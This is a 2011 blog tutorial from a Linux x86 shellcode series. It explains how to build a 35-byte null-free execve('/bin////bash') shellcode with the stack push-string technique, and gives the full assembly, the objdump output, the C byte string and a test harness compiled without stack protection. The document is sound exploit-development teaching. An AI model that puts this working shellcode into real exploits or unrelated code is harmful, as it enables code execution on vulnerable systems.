Post Info: # Author: Flavio do Carmo Junior aka waKKu
# URL: Author’s Webpage
# Date: April 29, 2011
# Category: Assembly, Exploiting, Programming, Security
Hi again…
The objective for our shellcode today is execute the following syscall:
execve(‘/bin/bash’, [ '/bin/bash', 0x00 ], [ 0x00 ])
1. Intelligence Gathering
We are going to consider 0x00, 0x0d and 0x0a as bad chars.
A. Our syscall specification:
man 2 execve
SYNOPSIS
#include <unistd.h>int execve(const char *filename, char *const argv[],
char *const envp[]);DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form “#! interpreter [arg]“. In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename.argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program’s main function, when it is defined as int main(int argc, char *argv[], char *envp[]).
[...]
Then we have:
1st. argument: Pointer to a string containing our filename
2nd. argument: Pointer to an array of arguments, terminated by 0x00*
3rd. argument: Pointer to an array of environment variables, terminated by 0x00
*: The first argument must be our filename, the program being executed
B. Syscall Number: 11 (hexadecimal 0x0b)
waKKu@blog$ grep __NR_execve /usr/include/asm-i486/unistd.h #define __NR_execve 11
2. Writing onto stack
Ok, there is (at least) two most common techniques to write strings onto stack.
– CALL + POP: As we can see in call instruction description, before the flow be redirected to specified address being “called” the memory address of call instruction plus one is pushed onto stack, example:
Address | Instruction # Comment 0x08040101: call 0x08048686 # This instruction is 5 bytes long 0x08040106: inc %eax # Here we have the address of: call (5 bytes long) + 1 = 0x08040106, [...] # this value will be pushed onto stack [...] 0x08048686: push %ebp # Instruction example, after push 0x08040106 onto stack, the call [...] # instruction will set EIP = 0x08048686 and land here. [...] 0x08048702: pop %ebp # We need to revert stack back to its initial situation 0x08048703: ret # When this "ret" instruction is executed, the first value on stack # is exactly that pushed by "call", what happens here is similar to # a "pop %eip" instruction. The value on top of stack is moved to EIP # register and stack reduced.
So we can note a “dependency” between call and ret instructions and to everything work as expected we NEED to have adjusted stack back to its initial situation right after “call” was executed, thus we are sure that ne first value on top of stack is the address where we must return (ret) to.
This trick is a simple “break” in this circle of trust :)… We simply create an label to our string right after a “call”, so call will push our label onto stack and we can easily “pop” it back to whatever register we want.
– PUSH zero + PUSH string-backward: Now we need to recall how Linux stack works.
. Stack starts at address 0xbfffffff (the very first address before kernel’s memory, what starts at 0xc0000000).
. At the time we do a “push register” instruction, what really happens is similar to:
movl %reg, (%esp) # Copy the content within "%reg" register to where register "%esp" is pointing to
# Until now, the ESP register didn't change
sub $-4, %esp # Now we subtract 4 bytes (32 bits) of our ESP, now ESP point to
# the next 4 bytes free in stack area, waiting for a new "push".
Let’s simulate a “perfect” scenario when a program is executed and has its stack area reserved, the ESP register should point to 0xbffffffc, in other words, the “maximum value for stack” - “4 bytes (32 bits -> size of our “word”)”, because if we try to write something at address 0xbfffffff we would end up trying to access kernel area and, certainly, be killed with a segfault.
Now we’re able to understand:
- Stack GROWS by blocks of 4 bytes (in case of 32 bits) SUBTRACTING from its own value.
- Although the data being written on stack grows as “natural”, for instance if we wrote “ABCDEFGH” at address 0xbffffff8, we have:
1st. block
0xbffffff8 -> “D” (ASCII) / 0×44 (Hexadecimal) / 68 (Decimal)
0xbffffff9 -> “C” (ASCII) / 0×43 (Hexadecimal) / 67 (Decimal)
0xbffffffa -> “B” (ASCII) / 0×42 (Hexadecimal) / 66 (Decimal)
0xbffffffb -> “A” (ASCII) / 0×41 (Hexadecimal) / 65 (Decimal)
2nd. block
0xbffffffc -> “H” (ASCII) / 0×48 (Hexadecimal) / 72 (Decimal)
0xbffffffd -> “G” (ASCII) / 0×47 (Hexadecimal) / 71 (Decimal)
0xbffffffe -> “F” (ASCII) / 0×46 (Hexadecimal) / 70 (Decimal)
0xbfffffff -> “E” (ASCII) / 0×45 (Hexadecimal) / 69 (Decimal)
- This is explained by “Endianness”, in our case we are using a Little-Endian architecture. But, of course, when we read from memory the same reverse takes place, from LSB (Least Significant Byte) to MSB (Most Significant Byte).
Take a look at this code block:
waKKu@0xcd80$ printf '0x%x%x%x%x\n' "'A'" "'B'" "'C'" "'D'"
0x41424344
waKKu@0xcd80$ cat poc.s
.section .text
.globl _start
_start:
push $0x41424344 # 'ABCD'
int $0x03 # SIGTRAP (force breakpoint instruction)
waKKu@0xcd80$ as -o poc.o poc.s
waKKu@0xcd80$ objdump -D poc.o
poc.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 68 44 43 42 41 push $0x41424344
5: cc int3
waKKu@0xcd80$ ld -o poc poc.o
waKKu@0xcd80$ gdb --quiet ./poc
(no debugging symbols found)
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run
Starting program: /home/waKKu/0xcd80/poc
Failed to read a valid object file image from memory.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804807a in ?? ()
(gdb) i r esp
esp 0xbfe1033c 0xbfe1033c
(gdb) x/xb 0xbfe1033c
0xbfe1033c: 0x44
(gdb)
0xbfe1033d: 0x43
(gdb)
0xbfe1033e: 0x42
(gdb)
0xbfe1033f: 0x41
(gdb) x/x 0xbfe1033c
0xbfe1033c: 0x41424344
(gdb) x/s 0xbfe1033c
0xbfe1033c: "DCBA\001"
(gdb) # ... Damn Yankees...
(gdb) quit
As we can see, ESP points to “0xbfe1033c” and even we using instruction “push $0×41424344″ the value was written as 0×44, 0×43, 0×42 and 0×41 (check objdump’s output), then we ask gdb to interpret the “word” at address “0xbfe1033c” and it shows “0×41424344″ as expected (little-endian interpreted), but then we ask gdb to interpret the same address but as string this time, and we got “DCBA” (little-endian NOT interpreted). This happened because when reading strings or instructions, we have no fixed length, thus we can’t always interpret the endianness so gdb showed it straight as adjusted in memory.
All this in mind, if we want to write “HADOUKEN”, we need to do:
push $0x00000000 # 4-bytes to keep stack's alignment push $0x4e454b55 # push 'NEKU' push $0x4f444148 # push 'ODAH'
After that two push’s, ESP is pointing right to little-endian 4-bytes block “HADO” (remember that when we assemble our code the block “ODAH” becomes “HADO” thanks to endianness).
Long story short: Whe should push our string backwards onto stack, starting by NULL Termination (0×00) and reversing each 4-bytes block, when done “%esp” register will be a pointer to our string on stack.
Ok, I believe we’ve enough to create our algorithm now.
3. Algorithm
To make our life a bit easier with that ‘push zero + string’ technique, I wrote a simple Linux bash script I called “pushstr.sh”.
I’ll try to make code as commented as I can.
waKKu@blog$ ./pushstr.sh Written by: Flavio do Carmo Junior aka waKKu Usage: ./pushstr.sh 'string' Example of safe padding: Linux doesn't care about multiple slashes in commands % ./pushstr.sh '/usr////sbin/usermod' waKKu@blog$ ./pushstr.sh '/bin/bash' !!!! String is not multiple of 4 (32bits) !!!! !!!! I am padding it with (3) '##' chars !!!! !!!! replace this with the byte of your choice !!!! Written by: waKKu @ DcLabs - www.dclabs.com.br Usage: ./pushstr.sh 'string' Example of safe padding: Linux doesn't care about multiple slashes in commands % ./pushstr.sh '/usr////sbin/usermod' push $0x######68 # push 'h' push $0x7361622f # push 'sab/' push $0x6e69622f # push 'nib/' waKKu@blog$
If you didn’t understand what pushstr.sh said, to keep stack aligned we need to push 4-bytes values and Linux ignores multiple slashes (‘/’), thus we can use them as padding characters.
waKKu@blog$ ./pushstr.sh '/bin////bash' push $0x68736162 # push 'hsab' push $0x2f2f2f2f # push '////' push $0x6e69622f # push 'nib/' waKKu@blog$
Objective updated:
execve(‘/bin////bash’, [ '/bin////bash', 0x00 ], [ 0x00 ])
Algorithm:
1. Push string ‘/bin////bash’ + NULL onto stack
2. Copy the address pointing to string to “ebx” register (filename)
3. Create a new area with [ '/bin////bash', 0x00 ] (array of pointers)
4. Copy the address of area 3. to “ecx” register (argv = pointer to array of pointers)
5. Create a new area with [ 0x00 ] (array of pointers)
6. Copy the address of area 5. to “edx” register (envp = pointer to array of pointers)
7. Assign value 0x0b (decimal 11) to “eax” register (syscall)
8. Call protected/kernel mode to execute our syscall
Let’s write this code:
4. Assembly
waKKu@blog$ cat execve-shellcode.s
# AUTHOR: Flavio do Carmo Junior aka waKKu
# Objective:
# call execve('/bin////bash', [ '/bin////bash', 0x00 ], [ 0x00 ])
# VARIABLES:
# %eax -> Syscall number (0x0b)
# %ebx -> '/bin////bash'
# %ecx -> [ '/bin////bash, 0x00 ]
# %edx -> [ 0x00 ]
.section .text
.globl _start
_start:
xorl %eax, %eax # Zeroing "eax" (our maneuver register)
push %eax # Push $0x00000000 onto stack (4-byte to alignment)
push $0x68736162 # push 'hsab'
push $0x2f2f2f2f # push '////'
push $0x6e69622f # push 'nib/'
movl %esp, %ebx # Copy value of ESP to "ebx", making ebx a pointer to filename
# Now we need to setup our *argv[] in reverse arrangement
push %eax # argv[] must end with 0x00 (argv[1])
push %ebx # Followed by a pointer to our filename (argv[0])
movl %esp, %ecx # Now ESP points to an area with 2 memory addresses argv[0] and
# argv[1]. Then what we need now is copy ESP to "ecx" register
# making "ecx" a pointer to an array of pointers
# Now is time to setup *envp[], we need a pointer to an array of pointers
# And this array needs only one entry, that our NULL (0x00)
push %eax # "eax" is still 0x00000000
movl %esp, %esi # Now we copy ESP to "esi", making "esi" a pointer to 0x00
push %esi # Now we push "esi" onto stack, making ESP a pointer to an array of pointers
movl %esp, %edx # Finally we copy ESP to "edx"
add $0x0b, %eax # Now we can add 0x0b (11d) to "eax" (that is zero at this time).
# Everything ready to go
int $0x80 # We call protected/kernel mode to execute our syscall
waKKu@blog$ as -o execve-shellcode.o execve-shellcode.s
waKKu@blog$ objdump -d execve-shellcode.o
execve-shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 62 61 73 68 push $0x68736162
8: 68 2f 2f 2f 2f push $0x2f2f2f2f
d: 68 2f 62 69 6e push $0x6e69622f
12: 89 e3 mov %esp,%ebx
14: 50 push %eax
15: 53 push %ebx
16: 89 e1 mov %esp,%ecx
18: 50 push %eax
19: 89 e6 mov %esp,%esi
1b: 56 push %esi
1c: 89 e2 mov %esp,%edx
1e: 83 c0 0b add $0xb,%eax
21: cd 80 int $0x80
waKKu@blog$ ld -o execve-shellcode execve-shellcode.o
waKKu@blog$ ./execve-shellcode
localhost:/home/wakku$ exit
exit
waKKu@blog$
I’ve tried to write this shellcode as simple as possible, even so we got a good shellcode.
Well, is a bit annoying to convert all those opcodes to C format, right?
It’s time to another handy Linux bash script, this one I called makesc.sh.
waKKu@blog$ ./makesc.sh
Written by: Flavio do Carmo Junior aka waKKu
Usage: %0 <object file> [#columns|rawfile] [concat]
1:
[#columns] -> defaults to 16
[concat] -> defaults to empty (C syntax)
In order to use a [concat] you must provide [#columns]
Example: ./makesc.sh shell.o 8 . # Perl syntax
Example: ./makesc.sh shell.o 12 ' + \' # Python syntax with spaces
2:
[rawfile] -> creates a RAW file with the shellcode (if the
file already exists, it will be truncated)
Example: ./makesc.sh shell.o shell.bin
waKKu@blog$ ./makesc.sh execve-shellcode.o
ShellCode is clean (0 nulls)
Using 16 opcodes/line
// ShellCode -> [ 'File:execve-shellcode.o', 'Size:35 bytes', 'NULLs: 0' ]
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe6\x56\x89\xe2\x83\xc0"
"\x0b\xcd\x80"
waKKu@blog$
35 bytes long… The smallest execve() shellcode I’ve found is 21 bytes long :).
5. Exploiting
I’ll be using the same trick to test this shellcode.
waKKu@blog$ cat trysc102.c
#include <stdio.h>
#include <string.h>
// ShellCode -> [ 'File:execve-shellcode.o', 'Size:35 bytes', 'NULLs: 0' ]
char shellcode[] = "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe6\x56\x89\xe2\x83\xc0"
"\x0b\xcd\x80";
int main(int argc, char **argv)
{
int (*ret)()=(int(*)())shellcode; //function pointer = casting variavel -> função
printf("Calling shellcode...");
ret(); // chamamos nosso function pointer
printf("If you are seeing this line, WE FAILED!!!"); // se o shellcode funcionar um _execve() vai acontecer
}
waKKu@blog$ gcc -fno-stack-protector -z execstack -o trysc102 trysc102.c
waKKu@blog$ ./trysc102
localhost:/home/wakku$ exit
exit
waKKu@blog$
SUCCESS! This time is easier to say “worked as expected” :), after execution we noticed an environment change (we didn’t setup any environment variables), and we got a new shell (that I promptly exited).
You can replace “/bin////bash” by any command you want (without arguments), example: /usr/bin////free
That’s all, folks! Looking forward our next meet.
Summary:
Linux x86 ShellCodes 101 – Objective: Topics introduction and exit(69) shellcode
Linux x86 ShellCodes 102 – Objective: execve() shellcode & push strings technique.
Linux x86 ShellCodes 103 – Objective: Add a new ‘root’ user in system & CALL+POP technique.
Linux x86 ShellCodes 104 – ASCII Encoding and a Self-Decoder Shellcode
Linux x86 ShellCodes 105 – The (Easter) EggHunting Game (EggHunter Shellcode)
Linux x86 ShellCodes 106 – ???? Sugestões?? Venetian Shellcode???
—
waKKu


Very good posts!
siyobik.info has changed up their site. I think the call instruction page you were linking to is at http://siyobik.info/main/reference/instruction/CALL
Thanks man..
Link updated!
Thanks man …
Very good !